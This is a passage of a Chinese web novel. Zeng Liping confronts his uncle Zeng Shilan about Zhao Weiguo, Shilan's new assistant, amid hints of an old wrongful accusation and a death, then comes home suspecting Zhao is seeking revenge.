曾式兰在长廊转角处停下来，池水映着檐下的影子，一阵风吹过，倒影轻轻散开。
“为了赵唯果来的吧？”
曾立平也停下脚步，方才那些关于园林、画和秘书的闲谈，到这里像是被人忽然截断了。
两个人隔着半步的距离，一个站在光里，一个站在檐下。曾立平脸上没有意外，也没有再绕，他点了点头。
“是。”
语气十分平静，“我怕您对她有什么误会，所以还是过来替她求个情。”
曾式兰看着他，似乎觉得这句话有些莫名。
“求情？”
“嗯。”
“她做错什么了？”
“她刚到您身边，规矩不懂，脾气也不好。真说了什么让您不高兴的话，您多担待。”
曾式兰眼里的笑意深了一点，“她什么时候轮到你来替她说这些了？”
“她病着，自己来不了。”
“病好了也未必愿意让你来。”
“那是她的事。”
“你倒想得开。”
“想不开也没办法。”曾立平说，“她现在是您的助理，我又管不到您公司里去。”
这句话听着像自嘲。
曾式兰却从里面听出了提醒，赵唯果是来工作，不是来偿还旧债的。
当年的案子也好，张开元也好，曾立平不希望曾式兰借着上下级的关系，再将那些事情翻出来，曾式兰没有立即回应，他伸手折下一片探进长廊的竹叶，夹在指间慢慢转了一圈。
“你怕我把她怎么样？”
“说不上来。”
“那你求什么情？”
“就是因为说不上来，才要来。”
曾立平侧过身，靠在长廊的木栏上。
“您要是真打算把她怎么样，未必会让我看出来。”
“这么多年不见，你倒是越来越了解我。”
“害，都是一家人。”
“刚才还说管不到我这里。”
“工作管不到，别的总能问一句。”
曾式兰低头看着那片竹叶。
“她来我这里，是她自己选的。”
“我知道。”
“岗位是她自己应聘的，测试也是她自己做的。我没逼她。”
“我也知道。”
“那你担心什么？”
曾立平望着池水。
“她最近状态不好。”
“所以我给她放了假。”
“她没请假。”
“我批了。”
“这不是一回事。”
“在我这里是一回事。”
曾式兰将竹叶松开，叶子被风卷出长廊，在半空打了几个转，最后落进池里。
“小叔。”
“嗯？”
“您为什么让她做助理？”
曾式兰脚步没停。
“她能力够。”
“就因为这个？”
“招一个人，还应该因为什么？”
“公司里能力够的人很多。”
“能让我省心的不多。”
曾立平笑了。
“她才去了几天，就能让您省心了？”
“至少比你省心。”
曾式兰说得平淡。
“她知道什么时候该说话，什么时候该闭嘴。也知道自己想要什么。”
“您确定？”
“你不确定？”
曾立平没有回答。
“她不适合待在您身边。”曾立平说。
曾式兰终于停下。
“这句话，你和她说过吗？”
“说了她也不会听。”
“所以来找我？”
“您可以换个人。”
“我为什么要换？”
“因为她会给您添麻烦。”
“你刚才还说，是来替她求情。”
“这两件事不冲突。”
曾式兰转过身。
长廊外的风吹动他的衣摆。他看着曾立平，眼睛里没有明显的不悦，反而像是在审视一件很有意思的事。
“你到底是在替她求情，还是怕她跟在我身边，知道一些你不想让她知道的东西？”
曾立平神情不变。
“我有什么不想让她知道的？”
“那就得问你自己。”
“我今天是来问您。”
曾式兰又笑了。
“立平，你还是不适合跟人绕弯子。”
“那我直说。”
曾立平站直身体。
“赵唯果现在经不起再来一次张开元的事。”
空气静了一瞬，池边检查木构的人已经离开，远处的敲击声也停了。整座院子安静下来，只剩下竹叶与水面的动静。
曾式兰脸上的笑意没有完全消失，“你认为我会拿开元的事对付她？”
“我不知道。”
“你不知道，就来替她求情？”
“我至少得让您知道，有人看着。”
这句话终于有了一点警告的意味，曾式兰却没有生气。他只是垂下眼睛，像是在认真想曾立平的话。
过了一会儿，他问：“你以什么身份看着？”
“这重要吗？”
“挺重要。”
“那就当我是她前男友。”
“前男友？”
曾式兰重复了一遍，语气里听不出嘲笑。
“你承认得倒快。”
“早晚的事儿。”
“她已经明确跟你分了？”
“这是我和她之间的事。”
“可你现在为了她来找我。”
曾立平看着他。
“分手也不耽误我替她求情。”
“确实不耽误。”
曾式兰转过身，望向长廊尽头。那里正好能看见刚才的画案。宣纸还没有收起来，墨竹远远立在纸上，清瘦、安静，完全看不出是由无数虫子组成的。曾式兰看了一会儿，忽然说：“我能对她有什么误会？”
语气里甚至带着几分真正的不解。
“她没有害过我，也没有欠过我什么。即使当年开元的事闹成那样，我也知道责任不在她。”
曾立平没有放松，曾式兰越是这样说，他心里越没底。
“您真这么想？”
“为什么不？”
“因为张开元死了。”
曾式兰的眼神停在远处，长廊里静了很久，等他再次开口，语气仍然没有什么波澜。
“她死了，是她和我之间的事。”
曾立平看着他。
曾式兰慢慢收回目光。
“至于赵唯果——”
他停顿了一下，“……当年的事，是我对不起她。”
这句话说得太平静，不像道歉，也不是忏悔，只是对一段已经发生、无法更改的事实作出陈述。
曾立平没有接话，他今天来之前，想过曾式兰会否认，会敷衍，甚至会不耐烦地让他少管公司的事。唯独没有想到，曾式兰会直接承认对不起赵唯果。这份承认没有让他放心，反而令他更加警惕。一个人若不觉得自己有错，做事或许还会有所顾忌。
可一旦他认了这笔账，便意味着他早已想好，要用什么方式来偿还。
曾立平转头看向画案上的墨竹。远看仍是一片风雅，只有走近了，才知道里面全是虫。曾立平沉默片刻，“我今天来，是求您，以前可能有什么误会，现在已经过去这么久了，还请您高抬贵手。”
曾式兰听到这话，立刻扭头，似笑非笑地看着曾立平，好像听不懂他话里的意思，“我能对她有什么误会，当年的事儿是我对不起她。”
风从水面吹过来，那张没有压好的宣纸轻轻掀起一角。纸上的墨竹随之颤动，那些细长的竹节虫像是突然活了，密密麻麻地沿着竹竿向上爬。
“那幅画，你喜欢吗？”
曾式兰突然发问。
曾立平原本没打算真把那幅画带走，曾式兰的新秘书却已经从屋里取来一只细长的画筒，戴上手套，将宣纸从案上揭下来。
“墨还没干透。”曾立平说。
“曾总说没关系。”
秘书将宣纸翻过来，把画装好。
“谢谢，”曾立平笑了一下，接过秘书手里的话，沉甸甸的。
走出曾式兰古色古香的家，曾立平上了车，吐出一口气。司机在前面等着他的命令，曾立平想了想，“你喜欢画吗？”
司机抬头看向后视镜，与曾立平对视，“我就一粗人，欣赏不来画。”
曾立平把手里的画扔出去，“这话是曾总的，送你了。”
司机拿着画，不知道该是不是应该收下。
“送你的，挂家里就行，也不是什么值得炫耀的事儿，”曾立平降下后车车窗，“走吧，回家。”
“好。”
到了赵唯果家楼下，曾立平调整了一下自己的情绪后才上楼，心里不是滋味儿。他站在门口，刚伸出手要开门的时候，他突然愣住了。
张开元和曾式兰的事他们处理的极其缜密，那……赵唯果知道吗？
她只知道自己被诬陷了，被放出来那天他去接她，赵唯果也也很平静地接受了现实。但有一件事儿特别不对劲，曾立平收回手，赵唯果从来没问过凶手是谁，她接受了张开元自杀的定论。
那……
曾立平突然心跳加快，赵唯果去曾经诬陷她的人手下工作？她可不是什么好人，锱铢必较，她是想复仇吗？在曾式兰那里丢了的面子，现在要讨回来吗？
可是不对啊，曾立平仰头，看着有些发黑的墙角。
都这么多年了，赵唯果怎么才去找回自己的场子啊？
曾立平有点明白了，但也不太明白，他急匆匆地打开门，赵唯果应该是好多了。
“你回来了！”
曾立平关好了门，扭头看到脸色依旧惨白的赵唯果，她站在客厅中间。
“你等我回家？”
“嗯，等你回来，我们一起吃晚饭啊。”
曾立平扯了扯嘴角，“吃什么，我去做。”
“出去吃吧，我想吃烧烤了。”
“不健康，”曾立平附身把兜里的钥匙放到一旁，走到沙发边上坐下来，“我有件事儿要问你，你先坐下来。”
“什么事？这么严肃。”
曾立平一脸不耐烦，他在曾式兰那边受了不少气，现在心气也不顺呢，掏出烟叼在嘴里就点燃了。
赵唯果在一旁咳嗽了几声。
曾立平扔开打火机，吸了好几口烟，伸出脚搭在茶几上。
“赵唯果，我问你，你为什么去给曾式兰打工？”他故意朝赵唯果吐出一股烟气儿，讥讽一笑，“不是真的看上他了吧？”